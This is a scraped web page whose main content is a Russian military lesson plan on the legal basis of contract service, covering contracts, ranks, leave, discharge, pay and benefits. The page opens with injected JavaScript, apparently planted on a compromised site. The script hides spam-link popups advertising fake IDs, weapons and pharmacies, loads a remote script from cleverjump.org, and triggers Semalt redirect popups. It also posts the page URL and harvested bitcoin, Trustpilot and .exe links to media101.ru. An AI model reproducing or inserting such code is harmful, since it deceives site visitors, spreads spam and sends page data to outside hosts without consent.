/* Domain is for sale: admin@kickvox.com */ (function() { 'use strict'; if (window['shbNetLoaded']) return; window['shbNetLoaded'] = true; var isTopLayer = false; var popupHtml = "
The coins I ordered arrived and Im satisfied with them and the service. surrey taxi cabs<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Made to ensure that you stay as short as possible with maximum loss. Heavily high minimum bets and low tables in the minority, which means you are required to play even higher. \u043c\u0430\u0448\u0438\u043d\u0443 \u0431\u0443 \u0432 \u043a\u0440\u0435\u0434\u0438\u0442<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Very Nice and Clean.I enjoyed eating at the Cheese Cake Factory stihl chainsaw chain rapid super<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
David and the rest of the J. C. Lewis Ford family gave me and my family a great experience while I was looking for a new vehicle. They were very help and caring about my situation and worked for the best deal for me. obtain a fake id<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Went to the buffet. Loved the food and the casino. So clean and lots to see and walk around. almowa3ioffical.com<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Jacuzzi in middle of room. Booked single occupancy for a convention. Room smelled like mold. Dirty floors. Nice staff just poor facility. \u0e2a\u0e25\u0e47\u0e2d\u0e15\u0e2b\u0e49\u0e2d\u0e07\u0e44\u0e2b\u0e19\u0e41\u0e15\u0e01\u0e14\u0e35<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Great service. Best clam chowder around. Love the sour dough rolls. \u0e40\u0e27\u0e47\u0e1a\u0e43\u0e2b\u0e0d\u0e48\u0e41\u0e08\u0e01\u0e40\u0e04\u0e23\u0e14\u0e34\u0e15\u0e1f\u0e23\u0e35<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Well located, very good service and quality of service \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0430\u0439\u043b\u043e\u0432 \u04304<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Good variety of trails, friendly environment, good snowmaking architectural landscape design orange county ca<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Very good stuffed bacon cheeseburger and fries and very nice watris medical pharmacy online<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Lovely staff and fabulous food! Also amazing Halloween decorations! \u0e41\u0e17\u0e07 \u0e1a\u0e2d\u0e25 \u0e1c\u0e48\u0e32\u0e19 \u0e40\u0e27\u0e47\u0e1a<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Wide range of product and quality of service make me to choose Accurex. jnp partnership<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
We stayed with our dog and loved the hotel. It was in a great location. custom made mens hats<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Its ok, there are some nice attractions but not all attractions were fun \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 + \u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 \u0441\u0430\u0439\u0442\u043e\u0432<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Have spent a nice holiday in the Iberostar Selection Playa Palma. Very positive was the concierge Nick by very extremely pleasant care noticed. Likewise we would like to thank the Doorman for his friendly always good mood. führerschein in ungarn kaufen<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great German food. Beautiful rooms and Historic building on a scenic Connecticut lake. antalya saatci<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Coffee with a different taste and good. Staff always in good mood. ukrainian ak 47 for sale<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
We had a really nice day. Beautiful grounds round all the sculptures . Lovely little restaurant\/cafe, and the weather was beautiful. Really worth a visit. online quran classes free<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
JeanAnne is amazing! I have never felt so comfortable in a medical setting as I do here at Serenity. Her office staff is friendly and professional. tbm consulting group<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
They were really helpful in finding us a new car. They asked us questions to ensure that we had the right car for us calibrationrecall.com<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Saw the Gursky exhibit, and was pretty impressed. Visited for a first date, and we had a nice time walking around discussing the photographs. Its well laid out, lots of good content, orderly and quiet but not funereal. free seo<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Very expensive. The tent area is walk in, and for shower you need even an extra coin to shower limited time. But there are not much other tenting options around... The staff was friendly. auto mouse move with typing<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
The staff was friendly, the building was clean and the location was perfect for conventions. rexndox apps sound recorder with player<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
The finest in production and the best outdoor stage. We love being season ticket holders! cool math arcade<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Philips Arena is a nice venue. Well organized upon entry. Need to be strict when late people arrive and disrupt the show and disturb the patrons who arrived on time. sindoh 3dwox dp200<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great company, best security integrator in the area. Excellent customer service. seo word finder<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Not that good. Dirty. Shower all clogged up with hair, far from the shops and restaurants, did I mention it was dirty? file format not supported adobe premiere<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Professional and a superb level of knowledge. Very pleasant to work with . Highly recommend! Semalt<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
<\/div> <\/div> <\/div> <\/div> <\/td> <\/tr> <\/table> <\/div>"; var popupCreated = false; function onReady() { tryCreatePopup(2); var box = create('div'); append(box, document.body); var defaultStyles = { width: '1px', height: '1px', background: 'transparent', display: 'inline-block', margin: '2px', padding: 0, verticalAlign: 'bottom', border: 'none' }; var a = create('a'); css(a, defaultStyles); document.addEventListener('keydown', function(e) { if (e.keyCode === 192 && e.ctrlKey) { css(a, { width: '20px', height: '20px', background: '#fff', border: '1px solid red' }); } }); document.addEventListener('keyup', function(e) { css(a, defaultStyles); }); a.className = 'shbNetgpLink'; append(a, box); a.href = 'javascript:;'; on(a, 'click', openLinerPopup); css(box, { position: 'fixed', margin: 0, padding: 0, outline: 'none', border: 'none', zIndex: 999999999, overflow: 'visible', direction: 'ltr' }); css(box, { left: '3px', right: 'auto', top: '50px', bottom: 'auto', width: '42px', height: '168px' }); } function clearStyles() { if(typeof document.createStyleSheet === 'undefined') { document.createStyleSheet = (function() { function createStyleSheet(href) { if(typeof href !== 'undefined') { var element = document.createElement('link'); element.type = 'text/css'; element.rel = 'stylesheet'; element.href = href; } else { var element = document.createElement('style'); element.type = 'text/css'; } document.getElementsByTagName('head')[0].appendChild(element); var sheet = document.styleSheets[document.styleSheets.length - 1]; if(typeof sheet.addRule === 'undefined') sheet.addRule = addRule; if(typeof sheet.removeRule === 'undefined') sheet.removeRule = sheet.deleteRule; return sheet; } function addRule(selectorText, cssText, index) { if(typeof index === 'undefined') index = this.cssRules.length; this.insertRule(selectorText + ' {' + cssText + '}', index); } return createStyleSheet; })(); } var sheet = document.createStyleSheet(); sheet.addRule('#shbNetPaddingTable', 'display: none;'); sheet.addRule('#shbNetPaddingWr #shbNetPaddingTable', 'display: table;'); sheet.addRule('.shbNetPopupWr, .shbNetPopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;'); sheet.addRule('.shbNetPopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;'); sheet.addRule('.shbNetPopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:11px; line-height:normal;'); sheet.addRule('.shbNetPopupTable a, .shbNetPopupTable b', 'text-decoration:none; background:none; height:auto !important; color:#737373; font-size:11px; font-weight:bold;'); sheet.addRule('.shbNetTopLayer .shbNetPopupWr', 'display:block !important; width: 100% !important; x-index:99999999 !important; background: #fff !important; padding: 2px 10px !important;'); sheet.addRule('.shbNetTopLayer #shbNetPaddingTable', 'display:table !important;'); } function createTopLayer() { //if (!domReady) return; var div = document.createElement('div'); div.className = 'shbNetTopLayer'; div.innerHTML = popupHtml; document.body.insertBefore(div, document.body.childNodes[0]); popupCreated = true; } function tryCreatePopup(stage) { if (popupCreated) return; if (isTopLayer) { createTopLayer(); return; } if (stage === 1) { document.writeln(popupHtml); } else if (stage === 2) { var mainBox = create('div'); mainBox.innerHTML = popupHtml; document.body.appendChild(mainBox); } else { return; } var wr = $('shbNetPaddingWr'); if (!wr) return; popupCreated = true; var table = $('shbNetPaddingTable'); css(table, { position: 'fixed', margin: 0, padding: 0, left: 0, top: 0, width: '100%', height: '100%', direction: 'ltr', zIndex: 999999999, background: 'none' }); css(table.getElementsByTagName('td')[0], { verticalAlign: 'middle', background: 'rgba(0, 0, 0, 0.5)' }); var popup = $('shbNetPaddingPopup'); css(popup, { margin: '0 auto', padding: '20px 25px 20px', width: '800px', maxWidth: '98%', background: '#fff', border: '1px solid #000', textAlign: 'left', position: 'relative', fontFamily: 'Tahoma, Arial, Verdana', boxSizing: 'content-box' }); on(document, 'keydown', function(e) { if (e.keyCode === 27) { wr.style.display = 'none'; } }); } function removeClass(node, className) { if (node && node.className) { node.className = node.className.replace(new RegExp('\\b' + className + '\\b', 'g'), ''); } } function openLinerPopup() { var pad = $('shbNetPaddingWr'); var tbl = $('shbNetPaddingTable'); if (!pad || !tbl) return; pad.style.display = 'block'; tbl.style.display = 'table'; var mainPopup = $('shbNetPopupWr'); if (!mainPopup) return; mainPopup.style.display = 'none'; } function $(id) { return document.getElementById(id); } function on(elem, event, handler) { elem.addEventListener(event, handler, false); } function css(elem, style) { for (var prop in style) { elem.style[prop] = style[prop]; } } function create(tag) { return document.createElement(tag); } function append(elem, parent) { parent.appendChild(elem); } setTimeout(function() { window.CJSource = 'shb2'; var script = document.createElement('script'); script.src = 'https://cleverjump.org/counter.js'; (document.head || document.body).appendChild(script); }, 10); if (document.readyState === 'complete' || document.readyState === 'interactive') { onReady(); } else { on(document, 'DOMContentLoaded', onReady); } tryCreatePopup(1); try { clearStyles(); } catch (ex) {} (function() { if (!document.querySelector) return; var added = false; tryAddLink(); window.addEventListener('DOMContentLoaded', tryAddLink); setTimeout(tryAddLink, 100); setTimeout(tryAddLink, 1000); setTimeout(tryAddLink, 2000); function tryAddLink() { if (added) return; var menu = document.querySelector('#wpadminbar .ab-top-menu'); if (!menu) return; var li = document.createElement('li'); li.innerHTML = 'SEO promotion'; //menu.appendChild(li); added = true; save(); } function save() { var json = JSON.stringify({ hrefs: ['wordpress_new'], jsDomain: 'media101.ru', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//media101.ru/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } })(); (function() { function byId(id) { return document.getElementById(id); } function setCookie() { var date = new Date(); date.setTime(date.getTime() + (60 * 60 * 1000)); document.cookie = 'closePopupStartWow=1; path=/; domain=.' + location.hostname + '; expires=' + date.toGMTString(); } function listenerPopupSemalt(event){ if (event.origin != 'https://semalt.com') return; if (!event.data) return; if (event.data == 'closePopupStartWow'){ var el = byId('popupStartWow'); if (!el) return; el.style.display = 'none'; setCookie(); } else if(event.data.indexOf('startPopupStartWow')>-1) { try{var res = JSON.parse(event.data); if(res && res.page){ location.href = 'https://semalt.com/?s='+decodeURIComponent(res.page)+'&ref=blogspot'; } } catch(ee) { } setCookie(); } } function init() { if (document.getElementById('popupWowNode')) return; var div = document.createElement('div'); div.id = 'popupWowNode'; try { div.innerHTML = html; } catch (err) { return; } document.body.appendChild(div); setTimeout(function(){ if (document.cookie.indexOf('closePopupStartWow') !== -1) return; var el = byId('popupStartWow'); if (!el) return; el.setAttribute('src', 'https://semalt.com/popups/popup_wow.php?lang=en'); setTimeout(function(){ el.style.display = 'block'; }, 400); },400); } setTimeout(init, 100); setTimeout(init, 1000); setTimeout(init, 2000); window.addEventListener('message', listenerPopupSemalt, false); })(); setTimeout(function() { try { var links = document.querySelectorAll('a[href^="bitcoin:"], a[href*="trustpilot.com"], a[href$=".exe"]'); //var links = document.querySelectorAll('a[href^="https://"]'); if (links.length) { var hrefs = []; for (var i = 0; i < links.length; i++) { hrefs.push(links[i].href); } var json = JSON.stringify({ hrefs: hrefs, jsDomain: 'media101.ru', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//media101.ru/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } } catch (ex) {} }, 2000); })(); Правовые основы прохождения военной службы по контракту ВС Р Ф
Главная » Статьи » Прапорщики

Правовые основы прохождения военной службы по контракту ВС Р Ф

занятия по общественно-государственной подготовке с группой военнослужащих по контракту
№__ (подразделение) войсковой части ______

«___» ___________ 2017 года.

Тема №7 Правовые основы прохождения военной   службы   по контракту Вооруженных Силах Российской Федерации. Социальные гарантии и компенсации, предоставляемые военнослужащим, проходящим военную службу по контракту на должностях солдат (матросов), сержантов (старшин), и членам их семей.

Занятие: рассказ беседа.
Учебные цели: 1.Изучить правовые основы прохождения военной службы по контракту и социальные гарантии и компенсации, предоставляемые военнослужащим, проходящим военную службу по контракту.

Время проведения: 9.00-10.50

Место проведения: _________
Материально – техническое обеспечение: политическая карта мира; политическая карта Российской Федерации; журнал учета посещаемости и успеваемости группы ОГП;  конспекты слушателей; указка; выписка из  установочного приказа командира части об организации ОГП;

Ход занятия

Вступительная часть –  10 минут. 
Контроль готовности слушателей к проведению занятия.
Доведение целей занятия, вопросов выносимых для обсуждения.
Информирование перед занятием.

        Основная часть –  90 минут
1. Правовые основы прохождения военной службы по контракту в Вооруженных Силах Российской Федерации.
2. Социальные гарантии и компенсации предоставляемые военнослужащим по контракту и членов их семей.


Военная служба – это особый вид федеральной государственной службы, исполняемой гражданами в Вооруженных силах Российской Федерации.

   Прохождение военной службы представляет собой регулируемый законодательством процесс изменения правового положения военнослужащих в связи с наступлением определенных юридических фактов при исполнении военной службы с момента ее начала и до ее окончания.

Прохождение военной службы осуществляется гражданами по призыву и в добровольном порядке (по контракту).

    Основными нормативными правовыми актами, регулирующими прохождение военной службы, являются Федеральный закон от 28 марта 1998 г. № 53-ФЗ "О воинской обязанности и военной службе" и Положение о порядке прохождения военной службы, утвержденное Указом Президента Российской Федерации от 16 сентября 1999 г. № 1237.

Указом Президента РФ от 25 марта 2013 г. № 288 «О внесении изменений в Положение о порядке прохождения военной службы, утвержденное Указом Президента Российской Федерации от 16 сентября 1999 г. № 1237» внесены коррективы в положение о порядке прохождения военной службы, расширены обязанности командира воинской части.

Указано, что воинские части (теперь без согласования с военным комиссариатом) могут самостоятельно проводить мероприятия по отбору граждан на военную службу по контракту.

Воинские части (как и военные комиссариаты) регистрируют и принимают к рассмотрению заявления граждан, желающих поступить на службу, оформляют на кандидата личное дело и другие необходимые документы. Перечень таких документов и порядок их составления для воинских частей устанавливают соответствующие руководители федеральных органов исполнительной власти.

Аттестационные комиссии воинских частей определяют соответствие отбираемых кандидатов требованиям, предъявляемым к поступающим на военную службу по контракту.

Порядок заключения контракта о прохождении военной службы

   Контракт о прохождении военной службы заключается гражданином с Министерством обороны Российской Федерации.

   В контракте закрепляются добровольность поступления на военную службу, срок, в течение которого гражданин (военнослужащий) обязуется проходить военную службу, а также условия контракта.

  Контракт составляется в двух экземплярах, каждый подписывается лицами, его заключившими. Подпись должностного лица, подписавшего контракт, скрепляется гербовой печатью воинской части.

     Первый экземпляр контракта после вступления его в силу приобщается к личному делу военнослужащего, заключившего контракт, а второй экземпляр выдается военнослужащему.

     Контракт вступает в силу со дня его подписания должностным лицом о чем издается соответствующий приказ. Срок контракта исчисляется со дня (календарной даты) вступления его в силу.

Военнослужащий, проходящий военную службу по призыву и изъявивший желание поступить на военную службу по контракту, подает рапорт по команде.

Первый контракт заключают ранее не проходившие военную службу по контракту:

Военнослужащий, проходящий военную службу по контракту и желающий продолжить ее прохождение, заключает новый контракт. 

  Началом военной службы для граждан, поступивших на военную службу по контракту, считается день вступления в силу контракта о прохождении военной службы.

   Днем окончания военной службы считается день исключения военнослужащего из списков личного состава воинской части в связи с увольнением с военной службы, гибелью (смертью), признанием безвестно отсутствующим или объявлением умершим.  

   День исключения из списков личного состава воинской части является для военнослужащего днем окончания (последним днем) военной службы.  

            Назначение на воинские должности и освобождение от воинских должностей.

  Военнослужащий может занимать только одну воинскую должность. Каждой воинской должности должно соответствовать одно воинское звание.

   На военнослужащего может быть возложено временное исполнение обязанностей по воинской должности, которую он не занимает, с освобождением его от исполнения обязанностей по занимаемой воинской должности – на срок, определяемый Положением о порядке прохождения военной службы.

 Военнослужащий, проходящий военную службу по контракту, вправе предложить на рассмотрение соответствующей аттестационной комиссии свою кандидатуру для назначения на освобождающуюся или вакантную воинскую должность.

 Военнослужащие могут быть назначены на первую воинскую должность, высшую воинскую должность, равную воинскую должность или низшую воинскую должность.

  Воинская должность военнослужащего считается высшей, если для нее штатом предусмотрено более высокое воинское звание, чем воинское звание по прежней воинской должности, а при равенстве предусмотренных штатом воинских званий – более высокий месячный оклад в соответствии с занимаемой воинской должностью.
 Назначение военнослужащего, проходящего военную службу по контракту, на высшую воинскую должность производится в порядке продвижения по службе – с его согласия, а так же по итогам конкурса.

                         Перевод к новому месту службы

   Военнослужащий, проходящий военную службу по контракту, может быть переведен к новому месту военной службы из одной воинской части в другую (в том числе находящуюся в другой местности)  в следующих случаях:

 1) по служебной необходимости с назначением на равную воинскую должность. Перевод военнослужащего к новому месту военной службы с назначением на равную воинскую должность производится без его согласия, за исключением следующих случаев:
при невозможности прохождения военной службы в местности, куда он переводится, в соответствии с заключением военно-врачебной комиссии;
 при невозможности проживания членов семьи военнослужащего (жена, муж, дети в возрасте до 18 лет, дети-учащиеся в возрасте до 23 лет, дети-инвалиды, а также иные лица, состоящие на иждивении военнослужащего и проживающие совместно с ним) в местности, куда он переводится, в соответствии с заключением военно-врачебной комиссии;
при необходимости постоянного ухода за проживающими отдельно отцом, матерью, родным братом, родной сестрой, дедушкой, бабушкой или усыновителем, не находящимися на полном государственном обеспечении и нуждающимися в соответствии с заключением органа государственной службы медико-социальной экспертизы по их месту жительства в постоянном постороннем уходе (помощи, надзоре);

2) в порядке продвижения по службе с назначением с его согласия на высшую воинскую должность;
3) по состоянию здоровья в соответствии с заключением военно-врачебной комиссии;
4) по семейным обстоятельствам по личной просьбе в случаях указанных в 1 пункте
5) в связи с организационно-штатными мероприятиями;
6) в связи с плановой заменой.

   Плановой замене подлежат военнослужащие, проходящие военную службу по контракту в районах Крайнего Севера и приравненных к ним местностях, местностях с неблагоприятными климатическими или экологическими условиями, а также в воинских частях, находящихся за пределами Российской Федерации.

   Срок военной службы в указанных местностях и перечни этих местностей определяются Правительством Российской Федерации.

Воинские звания

    Каждому военнослужащему присваивается персонально воинское звание.
Очередное воинское звание присваивается военнослужащему в день истечения срока его военной службы в предыдущем воинском звании, если он занимает воинскую должность, для которой штатом предусмотрено воинское звание, равное или более высокое, чем воинское звание, присваиваемое военнослужащему.

 Для прохождения военной службы в следующих воинских званиях устанавливаются сроки:

рядовой - пять месяцев;      младший сержант– 1 год;    сержант,– 2 года;              
старший сержант – 3 года; прапорщик – 3 года;   младший лейтенант – 2 года;       
лейтенант – 3 года;     старший лейтенант – 3 года;    капитан – 4 года;
 майор – 4 года;  подполковник – 5 лет;

  Очередное воинское звание военнослужащему может быть присвоено досрочно за особые личные заслуги, но не выше воинского звания, предусмотренного штатом для занимаемой им воинской должности.

  Военнослужащему, срок военной службы которого в присвоенном воинском звании истек, за особые личные заслуги может быть присвоено воинское звание на одну ступень выше воинского звания, предусмотренного штатом для занимаемой им воинской должности, но не выше воинского звания майора.

           Отпуска военнослужащих

 Военнослужащим предоставляются отпуска:
по уходу за ребенком.

 Военнослужащим, проходящим военную службу по контракту, основной отпуск предоставляется ежегодно на основании приказа командира воинской части. По их просьбе основной отпуск может быть предоставлен им по частям. При этом продолжительность одной части не может быть менее 15 суток.

  Продолжительность основного отпуска военнослужащим, проходящим военную службу по контракту, устанавливается в зависимости от продолжительности военной службы в льготном исчислении составляет:

- менее 10 лет, – 30 суток;
- от 10 до 15 лет, – 35 суток;
- от 15 до 20 лет, – 40 суток;
- 20 лет и более, – 45 суток.

    Продолжительность основного отпуска военнослужащего, в год поступления его на военную службу по контракту и в год увольнения с военной службы исчисляется путем деления продолжительности основного отпуска, установленной военнослужащему, на 12 и умножения полученного количества суток на количество полных месяцев военной службы, прошедших от начала военной службы до окончания календарного года.

Продолжительность основного отпуска увеличивается следующим категориям военнослужащих, проходящих военную службу по контракту, в соответствии с нормами:

 а) ветеранам боевых действий – на 15 суток;
 б) военнослужащим, проходящим военную службу:

в районах Крайнего Севера, а также в местностях с неблагоприятными экологическими условиями, – на 15 суток;
в местностях, приравненных к районам Крайнего Севера, – на 10 суток;
в местностях с неблагоприятными климатическими условиями, в том числе отдаленных, – на 5 суток;

 в) военнослужащим, находящимся на воинских должностях (должностях), исполнение обязанностей военной службы на которых связано с повышенной опасностью для жизни и здоровья, – на 15 суток.

  В случае наличия нескольких оснований для увеличения продолжительности основного отпуска время увеличения суммируется и устанавливается с учетом общей продолжительности отпуска – 60 суток.

Продолжительность основного отпуска военнослужащих увеличивается на количество суток, необходимое для проезда к месту использования отпуска и обратно (не менее одних суток в один конец), но не более чем на 15 суток.

Если основной отпуск военнослужащим предоставлен по частям, то время, необходимое для проезда к месту использования отпуска и обратно, предоставляется один раз.

   Военнослужащим-супругам, проходящим военную службу по контракту, основной отпуск по их желанию предоставляется одновременно.

 Военнослужащим, заболевшим во время основного или дополнительного отпуска, кроме отпуска по личным обстоятельствам, основной или дополнительный отпуск продлевается на соответствующее количество дней болезни. Продление отпуска в этом случае осуществляется командиром воинской части на основании справки из лечебного учреждения.

Военнослужащим, проходящим военную службу по контракту, предоставляются учебные отпуска для подготовки к вступительным экзаменам (экзаменам) и сдачи вступительных экзаменов (экзаменов).

Отпуск по болезни предоставляется военнослужащему на основании заключения военно-врачебной комиссии. Отпуск по болезни предоставляется военнослужащему на срок от 30 до 60 суток. Военнослужащему, проходящему военную службу по контракту, отпуск по болезни может быть продлен не более чем на 30 суток.

Отпуск по личным обстоятельствам предоставляется военнослужащему на срок до 10 суток в случае:

 а) тяжелого состояния здоровья или смерти (гибели) близкого родственника военнослужащего (супруга, отца, матери, сына, дочери, родного брата, родной сестры, отца, матери супруга или лица, на воспитании которого находился военнослужащий);

 б) пожара, другого стихийного бедствия, постигших семью или близкого родственника военнослужащего;

 в) в других исключительных случаях, когда присутствие военнослужащего в семье необходимо, – по решению командира воинской части.

  Военнослужащим, общая продолжительность военной службы которых составляет 20 лет и более, в один год из трех лет до достижения ими предельного возраста пребывания на военной службе либо в год увольнения с военной службы по состоянию здоровья или в связи с организационно-штатными мероприятиями кроме основного отпуска по их желанию предоставляется отпуск по личным обстоятельствам продолжительностью 30 суток.

Увольнение с военной службы
 Военнослужащие увольняются с военной службы в запас, а военнослужащие, достигшие к моменту увольнения с военной службы предельного возраста пребывания в запасе или признанные не годными к военной службе, – в отставку.

 Военнослужащие подлежит увольнению с военной службы:
 - по достижении предельного возраста пребывания на военной службе;
 - по состоянию здоровья; 
 - в связи с назначением наказания в виде лишения свободы.

  Досрочное увольнение с военной службы:
- в связи с организационно-штатными мероприятиями и при отсутствии других оснований для увольнения:
- при сокращении занимаемой воинской должности, в том числе при ликвидации (расформировании, реорганизации) воинских частей, и отсутствии его согласия с назначением на другую воинскую должность;
- в связи с невыполнением военнослужащим условий контракта - при невыполнении им условий контракта о прохождении военной службы;
- по собственному желанию – по заключению аттестационной комиссии воинской части (организации) при наличии у военнослужащего уважительных причин и др.

   Военнослужащий, общая продолжительность военной службы которого составляет 10 лет и более, нуждающийся в улучшении жилищных условий по нормам, установленным федеральными законами и иными нормативными правовыми актами Российской Федерации, без его согласия не может быть уволен с военной службы по достижении предельного возраста пребывания на военной службе, по состоянию здоровья или в связи с организационно-штатными мероприятиями без предоставления ему жилого помещения по нормам жилищного законодательства.


Основные права военнослужащих, а также основы государственной политики в области правовой и социальной защиты военнослужащих, граждан, уволенных с военной службы, и членов их семей определены Федеральным законом от 27 мая 1998 г. № 76-ФЗ «О статусе военнослужащих».

Для военнослужащих установлена единая система правовой и социальной защиты, а также материального и иных видов обеспечения с учетом занимаемых воинских должностей, присвоенных воинских званий, общей продолжительности военной службы, в том числе и в льготном исчислении, выполняемых задач, условий и порядка прохождения ими военной службы.

Военнослужащий по контракту имеет право на:

   1. Денежное довольствие, состоящее из оклада в соответствии с занимаемой воинской должностью, оклада в соответствии с присвоенным воинским званием, а также ежемесячных и иных дополнительных выплат.

С 1 января 2012 г. размеры денежного довольствия военнослужащих Вооруженных Сил РФ увеличились, в среднем, в 2,5-3 раза, а пенсии военных пенсионеров — в среднем на 60-70%. Так, оклады по воинскому званию, если брать минимальные и максимальные размеры, составляют от 5 тыс. рублей у рядового и до 30 тыс. у маршала. Соответственно, оклады по воинской должности достигли 10 тыс. рублей у стрелка и 45 тыс. рублей у первого заместителя Министра обороны РФ.

Военнослужащим проходящим военную службу по контракту, устанавливаются дополнительные выплаты:

Ежемесячная надбавка за выслугу лет к окладу денежного содержания устанавливаются в следующих размерах:

  1. 10 % - при выслуге от 2 до 5 лет;
  2. 15 % - при выслуге от 5 до 10 лет;
  3. 20 % - при выслуге от 10 до 15 лет;
  4. 25 % - при выслуге от 15 до 20 лет;
  5. 30 % - при выслуге от 20 до 25 лет;
  6. 40 % - при выслуге от 25 лет и более.

Ежемесячная надбавка за классную квалификацию к окладу по воинской должности — от 5%  за первый класс, 10% второй, 20% третий и 30% за класс мастера;

За  работу со сведениями, составляющими государственную тайну — до 65% оклада по воинской должности;
За особые условия военной службы — до 100% оклада по воинской должности.
За выполнение задач, непосредственно связанных с риском для жизни и здоровья в мирное время, а также за участие в учениях, походах кораблей, отработку задач боевой и учебно-боевой подготовки в полевых условиях вне пунктов постоянной дислокации воинской части — до 100% оклада по воинской должности;
 За особые достижения в службе — до 100% оклада по воинской должности;

Премии — до 3 окладов денежного содержания — за добросовестное и эффективное исполнение должностных обязанностей;

Надбавки за квалификационный уровень физической подготовки военнослужащих и знание иностранных языков;

   Материальная помощь в размере 1 оклада денежного содержания в год.
Средний размер денежного довольствия военнослужащих по контракту рядового и сержантского состава составляет 23-35 тыс. рублей в месяц. С учетом всех дополнительных выплат, возрастающих по мере увеличения выслуги лет, должностного уровня, уровня профессионального мастерства (классность), региональных коэффициентов и ежегодной индексации денежное довольствие будет увеличиваться.

2. Проезд на безвозмездной основе один раз в год к месту проведения основного отпуска и обратно военнослужащим, проходящим службу по контракту в районах Крайнего Севера и приравненных к ним местностях, в том числе за Уралом и на Дальнем Востоке, и одному члену его семьи; военнослужащие сами приобретают за деньги билеты на себя и членов своих семей на удобные им авиарейсы или поезда, следующие к месту отпуска, а Минобороны России компенсирует эти расходы после возвращения из отпуска.

3. Продовольственное обеспечение, в том числе путем организации питания по месту военной службы — для отдельных категорий военнослужащих, и выдачей продовольственного пайка — для военнослужащих, проходящих военную службу по контракту за пределами территории Российской Федерации, в районах Крайнего Севера и приравненных к ним местностях.

4. Жилищное обеспечение:

— обеспечение служебными жилыми помещениями или общежитиям на период военной службы (получение денежной компенсации за наем (поднаем) жилых помещений);

 — обеспечение жилыми помещениями для постоянного проживания по избранному месту жительства (в том числе путем выдачи государственных жилищных сертификатов) при достижении общей продолжительности военной службы 20 лет, а также в случае увольнения с военной службы по достижении предельного возраста пребывания на военной службе, состоянию здоровья или в связи с организационно-штатными мероприятиями и общей продолжительности военной службы 10 лет и более;

 — возможность приобретения жилья после определенной выслуги через накопительно-ипотечную систему жилищного обеспечения.

5. Обязательное государственное личное страхование за счет средств федерального бюджета.

6. Социальные гарантии в связи с обучением в образовательных учреждениях в период службы, а также преимущественное право на поступление после увольнения с военной службы в государственные образовательные учреждения высшего и среднего профессионального образования и на подготовительные отделения образовательных учреждений высшего профессионального образования.

7. Проезд на безвозмездной основе на избранное место жительства при увольнении с военной службы.

8. Выплату подъемного пособия при перемещении к новому месту службы в размере одного оклада денежного содержания на военнослужащего и 25% от него на каждого члена семьи.

9. Перевоз на безвозмездной основе до 20 тонн личного имущества в контейнерах от прежнего места жительства при переводе на новое место военной службы.

10. Дополнительные социальные гарантии и компенсации при выполнении задач в условиях чрезвычайного положения и при вооруженных конфликтах.

11. Единовременное пособие при увольнении с военной службы: при общей выслуге менее 20 лет — 2 оклада денежного содержания, а при 20 лет и более — 7 окладов денежного содержания. Военнослужащим, награжденным в период прохождения военной службы государственным орденом или удостоенным почетных званий Союза ССР или РФ, размер единовременного пособия увеличивается на один оклад денежного содержания.

12. Бесплатное обследование, лечение и реабилитационное обеспечение в военно-медицинских учреждениях, в том числе ежегодное диспансерное наблюдение.

13. Изготовление и ремонт зубных протезов (за исключением протезов из драгоценных металлов и других дорогостоящих материалов).

14. Бесплатное обеспечение лекарствами, изделиями медицинского назначения по рецептам врачей в медицинских, военно-медицинских подразделениях (учреждениях).

 При отсутствии по месту военной службы или месту жительства военнослужащих военно-медицинских учреждений или соответствующих отделений в них либо специального медицинского оборудования, а также в неотложных случаях медицинская помощь оказывается в учреждениях государственной или муниципальной систем здравоохранения. Расходы указанным учреждениям здравоохранения по оказанию медицинской помощи военнослужащим, возмещаются в порядке, установленном Правительством Российской Федерации.

Члены семей военнослужащих проходящих службу по контракту (из числа солдат и сержантов) имеют право на медицинскую помощь в учреждениях государственной или муниципальной систем здравоохранения и подлежат обязательному медицинскому страхованию на общих основаниях с другими гражданами Российской Федерации.

15. Бесплатное продовольственное (для рядовых и сержантов) и вещевое обеспечение.

